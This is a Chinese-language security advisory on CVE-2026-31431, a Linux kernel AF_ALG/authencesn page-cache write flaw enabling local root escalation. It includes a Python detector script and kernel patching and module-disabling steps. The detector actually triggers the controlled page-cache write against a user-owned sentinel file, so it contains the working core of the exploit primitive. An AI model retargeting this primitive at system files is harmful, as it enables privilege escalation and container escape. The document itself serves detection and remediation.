本次公开的CVE-2026-31431漏洞,是一则存在于Linux内核algif_aead与authencesn组件中的页缓存临时写入漏洞。
该漏洞存在于Linux内核加密子系统相关逻辑中,攻击者在获得本地普通用户权限后,可通过AF_ALG、splice()与authencesn相关逻辑组合,触发对page cache的受控写入,从而实现本地提权。安全研究团队同步放出了完整检测工具与概念验证POC提权脚本,可实现低权限用户本地提权至root权限。
该漏洞的核心风险并非远程直接入侵,而是放大已有权限:一旦攻击者获得任意低权限执行点,即可瞬间提升为root权限。因此,在多用户 Linux主机、Kubernetes节点、容器平台、CI/CD构建机、自建Runner、云端Notebook、沙箱执行环境等场景下,其危害远高于普通单用户服务器。研究机构特别强调:page cache是宿主机全局共享,这意味着漏洞不仅能本地提权,还可实现容器逃逸、跨租户越权。
受影响产品与内核版本
1、内核版本:2017 年内核72548b093ee3补丁,引入AEAD运算逻辑,埋下漏洞隐患。
2、模块配置:默认启用algif_aead模块,或支持动态加载该模块的系统。
3、权限条件:允许非特权普通用户创建AF_ALG套接字的运行环境。
4、业务场景:运行多租户任务、容器、CI/CD作业、沙箱执行等共享内核的环境。
5、受影响的发行版:Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL、SUSE、Debian、Arch、Fedora、Rocky、Alma、Oracle Linux及各类嵌入式 Linux,只要使用受影响内核,均存在风险。
漏洞检测代码
该检测代码基于Python 3.10+编写,无需其他依赖
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 |
#!/usr/bin/env python3 # CVE-2026-31431 ("Copy Fail") vulnerability detector. # # Attempts to trigger the algif_aead / authencesn page-cache scratch-write # primitive against a user-owned sentinel file in a temp directory. If the # scratch write lands inside the spliced page-cache page, the file's contents # (as observed via a fresh read) will contain the marker bytes. # # SAFE BY DESIGN # * Operates on a sentinel file the running user just created. /usr/bin/su # and other system binaries are NOT touched. # * Page-cache corruption is in-memory only; nothing is written back to disk. # * Exit 0 = NOT vulnerable, 2 = VULNERABLE, 1 = test error. # # Use only on hosts you own or are explicitly authorized to test. import errno import os import socket import struct import sys import tempfile AF_ALG = 38 SOL_ALG = 279 ALG_SET_KEY = 1 ALG_SET_IV = 2 ALG_SET_OP = 3 ALG_SET_AEAD_ASSOCLEN = 4 ALG_OP_DECRYPT = 0 CRYPTO_AUTHENC_KEYA_PARAM = 1 # rtattr type from <crypto/authenc.h> ALG_NAME = "authencesn(hmac(sha256),cbc(aes))" PAGE = 4096 ASSOCLEN = 8 # SPI(4) || seqno_lo(4) CRYPTLEN = 16 # one AES block TAGLEN = 16 # truncated HMAC-SHA256 MARKER = b"PWND" def build_authenc_keyblob(authkey: bytes, enckey: bytes) -> bytes: # struct rtattr { u16 rta_len; u16 rta_type } || __be32 enckeylen || keys rtattr = struct.pack("HH", 8, CRYPTO_AUTHENC_KEYA_PARAM) keyparam = struct.pack(">I", len(enckey)) return rtattr + keyparam + authkey + enckey def precheck() -> str | None: if not os.path.exists("/proc/crypto"): return "/proc/crypto missing" try: socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0).close() except OSError as e: return f"AF_ALG socket family unavailable ({e.strerror})" try: s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) s.bind(("aead", ALG_NAME)) s.close() except OSError as e: return f"{ALG_NAME!r} cannot be instantiated ({e.strerror})" return None def attempt_trigger(target_path: str) -> tuple[bool, bytes]: sentinel = (b"COPYFAIL-SENTINEL-UNCORRUPTED!!\n" * (PAGE // 32))[:PAGE] with open(target_path, "wb") as f: f.write(sentinel) # Populate page cache. fd_target = os.open(target_path, os.O_RDONLY) os.read(fd_target, PAGE) os.lseek(fd_target, 0, os.SEEK_SET) # Master socket: bind + key. master = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) master.bind(("aead", ALG_NAME)) master.setsockopt( SOL_ALG, ALG_SET_KEY, build_authenc_keyblob(b"\x00" * 32, b"\x00" * 16), ) op, _ = master.accept() # Per-op parameters travel as control messages on sendmsg, not setsockopt. # AAD bytes 4..7 are seqno_lo - the value the buggy scratch-write copies # into dst[assoclen + cryptlen]. We pick MARKER so corruption is obvious. aad = b"\x00" * 4 + MARKER cmsg = [ (SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)), (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", ASSOCLEN)), ] op.sendmsg([aad], cmsg, socket.MSG_MORE) # Splice CRYPTLEN+TAGLEN bytes of the target's page-cache page into the # op socket. Because algif_aead runs in-place (req->dst = req->src), those # page-cache pages now sit in the destination scatterlist. pr, pw = os.pipe() try: n = os.splice(fd_target, pw, CRYPTLEN + TAGLEN, offset_src=0) if n != CRYPTLEN + TAGLEN: raise RuntimeError(f"splice file->pipe short: {n}") n = os.splice(pr, op.fileno(), n) if n != CRYPTLEN + TAGLEN: raise RuntimeError(f"splice pipe->op short: {n}") except OSError as e: os.close(pr); os.close(pw) op.close(); master.close(); os.close(fd_target) if e.errno in (errno.EOPNOTSUPP, errno.ENOTSUP): raise RuntimeError( "splice into AF_ALG socket not supported on this kernel - " "the page-cache attack vector is not reachable here" ) from e raise # Drive the algorithm. Auth check will fail (we sent zero ciphertext+tag); # EBADMSG is fine - the scratch write fires before/independent of verify. try: op.recv(ASSOCLEN + CRYPTLEN + TAGLEN) except OSError as e: if e.errno not in (errno.EBADMSG, errno.EINVAL): raise op.close() master.close() os.close(pr) os.close(pw) # Read back via the existing fd (page cache, not disk). os.lseek(fd_target, 0, os.SEEK_SET) after = os.read(fd_target, PAGE) os.close(fd_target) return after, sentinel def kernel_in_affected_line() -> bool: # Per the disclosure, fixes landed on the 6.12, 6.17 and 6.18 stable lines. rel = os.uname().release.split("-")[0] parts = rel.split(".") try: major, minor = int(parts[0]), int(parts[1]) except (ValueError, IndexError): return False return (major, minor) >= (6, 12) def main() -> int: print(f"[*] CVE-2026-31431 detector kernel={os.uname().release} " f"arch={os.uname().machine}") if not kernel_in_affected_line(): print(f"[i] Kernel {os.uname().release} predates the affected " f"6.12/6.17/6.18 lines; trigger may not apply even if " f"prerequisites match.") reason = precheck() if reason: print(f"[+] Precondition not met ({reason}). NOT vulnerable.") return 0 print(f"[+] AF_ALG + {ALG_NAME!r} loadable - precondition met.") tmp = tempfile.mkdtemp(prefix="copyfail-") target = os.path.join(tmp, "sentinel.bin") try: after, sentinel = attempt_trigger(target) except Exception as e: print(f"[!] Trigger failed: {type(e).__name__}: {e}") return 1 finally: try: os.remove(target) os.rmdir(tmp) except OSError: pass # The exact landing offset of the 4-byte scratch write depends on how # the source/destination scatterlists are laid out by algif_aead for this # combination of inline-AAD + spliced-page input. What's invariant is that # the 4 bytes from AAD seqno_lo (our marker) appear somewhere in the page, # AND the marker is not present in the original sentinel. marker_off = after.find(MARKER) marker_orig = sentinel.find(MARKER) diffs = [i for i in range(PAGE) if after[i] != sentinel[i]] if marker_off >= 0 and marker_orig < 0: ctx = after[max(marker_off - 4, 0):marker_off + 12] print(f"[!] VULNERABLE to CVE-2026-31431.") print(f"[!] Marker {MARKER!r} (AAD seqno_lo) landed in the spliced " f"page-cache page at offset {marker_off}.") print(f"[!] Surrounding bytes: {ctx.hex()} ({ctx!r})") print(f"[!] Apply the upstream fix or block algif_aead immediately.") return 2 if diffs: first = diffs[0] window = after[first:first + 16] print(f"[!] Page cache MODIFIED via in-place AEAD splice path " f"({len(diffs)} bytes changed, first at offset {first}).") print(f"[!] Window: {window.hex()}") print(f"[!] The controllable scratch-write marker did not land, but " f"the kernel still allowed a page-cache page into the writable " f"AEAD destination scatterlist.") print(f"[!] Treat as VULNERABLE to the underlying bug class until " f"a patched kernel is installed.") return 2 print("[+] Page cache intact. NOT vulnerable on this kernel.") return 0 if __name__ == "__main__": sys.exit(main()) |
如已中招,python执行后,即可看到如下类似提示内容
[*] CVE-2026-31431 detector kernel=5.4.241-30.0017.19 arch=x86_64
[i] Kernel 5.4.241-30.0017.19 predates the affected 6.12/6.17/6.18 lines; trigger may not apply even if prerequisites match.
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0.
[!] Surrounding bytes: 50574e444641494c2d53454e (b'PWNDFAIL-SEN')
[!] Apply the upstream fix or block algif_aead immediately.
漏洞修复方法
方法一(临时):
在无法立即升级内核的情况下,可临时禁用algif_aead模块
|
1 2 |
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf sudo rmmod algif_aead 2>/dev/null || true |
验证
|
1 |
lsmod | grep '^algif_aead' |
如果不显示结果,则表示当前模块未加载
方法二(永久):
应立即通过发行版官方渠道升级Linux kernel,确保新内核包含主线修复提交,常见发行版可参考如下操作,更新内核补丁后,必须重启操作系统。
|
1 2 3 4 |
# Debian / Ubuntu sudo apt update sudo apt full-upgrade sudo reboot |
|
1 2 3 |
# RHEL / Rocky / Alma / Oracle Linux / Fedora sudo dnf update kernel sudo reboot |
|
1 2 3 |
# Amazon Linux 2023 sudo dnf update kernel sudo reboot |
|
1 2 3 4 |
# SUSE / openSUSE sudo zypper refresh sudo zypper patch sudo reboot |
原文链接:Linux内核Copy Fail漏洞检测及修复(CVE-2026-31431),转载请注明来源!




